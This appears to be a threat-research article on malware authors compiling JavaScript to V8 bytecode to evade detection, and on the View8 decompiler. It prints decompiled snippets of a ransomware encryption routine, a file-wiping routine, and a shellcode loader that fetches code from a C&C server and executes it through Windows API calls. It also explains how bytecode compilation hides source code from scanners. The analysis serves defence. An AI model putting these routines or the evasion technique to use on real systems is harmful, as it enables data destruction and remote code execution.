Author: Moshe Marelus
In recent months, CPR has been investigating the usage of compiled V8 JavaScript by malware authors. Compiled V8 JavaScript is a lesser-known feature in V8, Google’s JavaScript engine, that enables the compilation of JavaScript into low-level bytecode. This technique assists attackers in evading static detections and hiding their original source code, rendering it almost impossible to analyze statically.
To statically analyze compiled JavaScript files, we employed a newly-developed custom tool named ”View8”, specifically designed for decompiling V8 bytecode to a high-level readable language. Using View8, we decompiled thousands of malicious compiled V8 applications, spanning various malware types, such as Remote Access Tools (RATs), stealers, miners and even ransomware.
As compiled V8 is rarely examined, significant portions of the samples have a very low detection rate by security vendors even though it has been used in attacks in the wild.
In this article, we explain what is compiled V8 JavaScript, how attackers can leverage it in their malware and, most importantly, how it appears in the wild, as used by real threat actors.
V8 is an open-source JavaScript engine developed by Google. It’s written in C++ and used in Google Chrome and several other public projects, including Node.js. The V8 (Ignition) bytecode serves as an intermediary step in the optimization process of JavaScript code. It enables the V8 engine to efficiently execute JavaScript by serializing and translating optimized code closer to machine code.
V8 supports the ability to cache serialized bytecode for later execution by the interpreter. While originally conceived to boost performance by bypassing the initial parsing steps, this feature is leveraged by developers, and especially malware authors, to hide the application’s source code.
To leverage this feature and compile plain JavaScript into serialized V8 bytecode, we can utilize the built-in vm
module in the Node.js platform. The vm.Script
method uses two parameters: the first is the JavaScript code, and the second is a dictionary of options. In the case of compilation, we pass the produceCachedData: true
option, which results in a buffer with the serialized bytecode. For example, consider the following code snippet:
const vm = require('vm'); // Compiling JavaScript into serialized bytecode let helloWorld = new vm.Script("console.log('hello world!')", { produceCachedData: true }); let compiledBuffer = helloWorld.cachedData;
While the vm
module provides a native and direct method for bytecode serialization, it is more convenient to use the bytenode
module which simplifies the process for both the bytecode compilation and the subsequent execution.
const bytenode = require('bytenode'); // Compiling JavaScript into bytecode and executing it bytenode.compileFile('script.js', 'script.jsc'); // Compiling JavaScript to bytecode require('./script.jsc'); // Running the compiled bytecode
The V8 bytecode object consists of headers preceding the serialized data. Below is the structural breakdown of the header (Note – In older versions of V8, the structure is slightly different):
struct CahcedDataHeaders { static const uint32_t kMagicNumber; // 0xC0DE0000 ^ ExternalReferenceTable::kSize static const uint32_t kVersionHash; // V8 version hashed static const uint32_t kSourceHash; // Original source code length static const uint32_t kFlagHash // V8 flags hashed static const uint32_t kPayloadLength // Bytecode length static const uint32_t kChecksum // Bytecode Adler-32 checksum };
The compiled V8 bytecode is designed to run exclusively on the version of V8 for which it was compiled. Before deserializing the compiled object, the V8 engine compares the current (hashed) version with the version stored in the headers. In the event of a mismatch, the parsing process fails.
As the compiled V8 bytecode is bound to the specific version it was compiled for, attackers must ensure compatibility between the bytecode and the V8 engine for successful execution. This can be achieved in different ways. Three common approaches:
As of the time of this writing, there is no publicly known solution available for decompiling V8 bytecode back to a high-level language. While there was a community effort to develop such a tool, it was dedicated to a specific V8 version, and it was deemed too challenging to replicate it for other versions.
View8 is a new open-source static analysis tool for decompiling v8 bytecode to high-level readable code. This tool, written in Python, was developed by one of our CPR members and is available now for the use of the security community. View8 takes a compiled file as an argument and produces a textual decompiled version in a language similar to JavaScript. Most importantly, the tool is relatively simple to maintain for multiple V8 versions.
Using View8, we successfully decompiled and analyzed thousands of malicious V8 compiled files from various sources. Our investigation discovered a wide spectrum of malware families, including stealers, loaders, RATS, wipers, and ransomware. Remarkably, the majority of these files had a very low detection score at VirusTotal.
Threat actors appear to be very aware of this, as we’ve seen malware authors emphasizing low detection rates of certain malware families that utilized V8 code:
In addition, we’ve identified numerous instances of open-source JavaScript malwares, such as TurkoRat, Vare-Stealer, and the Mirai stealer, that were compiled by attackers into V8 bytecode before distribution. In some cases, the authors even provided instructions on packing and compiling the malware, emphasizing their low detection rates on VirusTotal.
Using View8, we started systematically decompiling malware samples utilizing compiled V8. We iterated over thousands of samples, some of whom were discussed in past research. This includes Ice Breaker and new variants of ChromeLoader, although previously they could not be statically analyzed and were therefore mostly heuristically analyzed.
In the next section, we showcase a few examples of malware we found in the wild.
Initially identified in early 2022, ChromeLoader is a malware family that hijacks browsers, steals sensitive information and runs additional payloads, typically other malware families. The use of compiled V8 by this family of malware is especially interesting, as the authors embedded an encrypted V8 bytecode payload and invoke it using NodeJS built-in methods (vm.Script
), suggesting they are highly aware of the advantages of using V8 compiled code.
In recent ChromeLoader variants, the malware has evolved to employ Electron, a framework for crafting desktop applications using web technologies such as HTML and JavaScript. Often, the attackers took advantage of legitimate open-source applications like FLB-Music-Player and PDF-Viewer by forking them and seamlessly embedding malicious loader scripts among the original files.
ChromeLoader loader scripts embedded within the Electron application are heavily obfuscated. After deobfuscation, the loader reads a base64 string, decodes it, and decrypts it using RC4. The decrypted content is a bytecode object which is later invoked using vm.Script
and is the final payload.
Without proper analysis tools, static examination of the files based on hardcoded strings failed to reveal any of the malware’s operations or identify malicious indicators. However, upon View8 decompilation, we successfully extracted the malware’s configuration, C&C domains, and encryption mechanisms for obtaining dynamic payloads.
Among the files we investigated, we discovered a couple of ransomware strains. The structure was straightforward, involving a sequence of read, encrypt, and write operations. For example, let’s delve into this particular sample, e73c59ec8ee0b7bcc2b26e740946a121f73c98355dc87b177ebe77258b403d63
, which is packed using node PKG.
The malware begins with certain configurations, including directories to encrypt, file extensions to target and a Discord webhook that acts as a C&C.
The malware then recursively iterates over all directories based on the configuration and encrypts them using AES encryption algorithm.
function encryptFile_0000023737FA04E9(file_name) { { r6 = fs["statSync"](file_name) if (r6["size"] > 100000000) { return undefined } r6 = isHiddenFile(file_name) if (r6 == true) { return undefined } r1 = crypto["createCipheriv"]("aes-256-cbc", key, iv) r2 = fs["createReadStream"](file_name) r3 = fs["createWriteStream"](file_name) r7 = r2["pipe"](r1) ACCU = r7["pipe"](r3) ACCU = r3["on"]("finish", SharedFunctionInfo_0000023737FA0769) return undefined }
Finally, the malware sends the victim’s information back to the attacker using the Discord webhook. Interestingly, despite the malware successfully encrypting files on the file system, it still received a very low detection rate on VirusTotal with only one generic detection.
Similar to the ransomware, we also observed a type of wiper, 2e74d21cade1c7ef78dd3bfa06f686cb41a045bb52e0151c1bb51474b97dd2dc
, that traverses files in the file system and overwrites them with random strings.
function destroyFiles_000000CBE13DDDC1(a0) { Scope[2][2] = a0 r0 = fs["readdirSync"](Scope[2][2]) ACCU = r0["forEach"](SharedFunctionInfo_000000CBE13DDF51) return undefined } function SharedFunctionInfo_000000CBE13DDF51(a0) { r0 = path["join"](Scope[2][2], a0) r1 = fs["statSync"](r0) if (r1["isDirectory"]()) { ACCU = destroyFiles_000000CBE13DDDC1(r0) } else { r9 = "Math"["random"]() r6 = string_list["Math"["floor"]((string_list["length"] * r9))] r5 = r0 ACCU = fs["writeFileSync"](r5, r6, "utf8") } return undefined }
An additional malware that recently caught our attention acts as a shellcode loader with the capability to fetch dynamic x64 shellcodes from a remote C&C server and subsequently execute them.
The malware incorporates the ffi-napi
and ref-napi
modules, allowing the loading and invocation of dynamic libraries through pure JavaScript. Next, the loader establishes communication with the C&C server to retrieve the shellcode buffer.
http = require("http") r3 = require("./update.js") // configuration file containing C2 ffi_napi = require("ffi-napi") ref_napi = require("ref-napi") Scope[1][4] = ref_napi["types"]["uint64"] Scope[1][5] = ref_napi["types"]["uint32"] Scope[1][6] = ref_napi["types"]["void"] Scope[1][7] = ref_napi["refType"](Scope[1][6]) Scope[1][8] = Scope[1][7] Scope[1][9] = ref_napi["refType"](Scope[1][5]) r4 = http["get"](r3["UpdateSoftware"], get_shellcode) ACCU = r4["on"]("error", SharedFunctionInfo_000002F3D955EA09)
Finally, the shellcode is loaded into the system’s memory and executed using a series of Windows API calls.
r1 = ffi_napi["Library"]("kernel32", r7) r6 = r1 r2 = r1["VirtualAlloc"](null, shellcode_buffer["length"], 12288, 64) r6 = r1 r7 = r2 ACCU = r1["RtlMoveMemory"](r7, shellcode_buffer, shellcode_buffer["length"]) r7 = ref_napi["refType"](ref_napi["types"]["uint32"]) r3 = ref_napi["alloc"](r7) r6 = r1 r9 = r2 r12 = r3 r4 = r1["CreateThread"](null, 0, r9, null, 0, r12) ACCU = r1["WaitForSingleObject"](r4, 4294967295.0)
Through code analysis, we discovered a repository on GitHub named ‘node-shellcode’, upon which the malware was based. Note the similarity between the decompiled version and the original code below.
In the ongoing battle between security experts and threat actors, malware developers keep coming up with new tricks to hide their attacks. It’s not surprising that they’ve started using V8, as this technology is commonly used to create software as it is very widespread and extremely hard to analyze.
In this article, we give you a basic understanding of how V8 compiled code is used not just in regular apps but also for malicious purposes. As this technology is already used by threat actors, we’ve included examples of how it’s been applied in different malware families, most prominently by ChromeLoader, which is written in a way that suggests the attackers are highly familiar with the technology.
Many of our insights come from our use of View8, a new tool that makes it easier to break down V8 compiled code. We were able to more easily study V8 malware by translating it into a form of pseudo-JavaScript that’s easier to understand and therefore analyze. We hope that as this tool becomes available, it will help others find and stop V8 malware that have been flying under the radar for too long.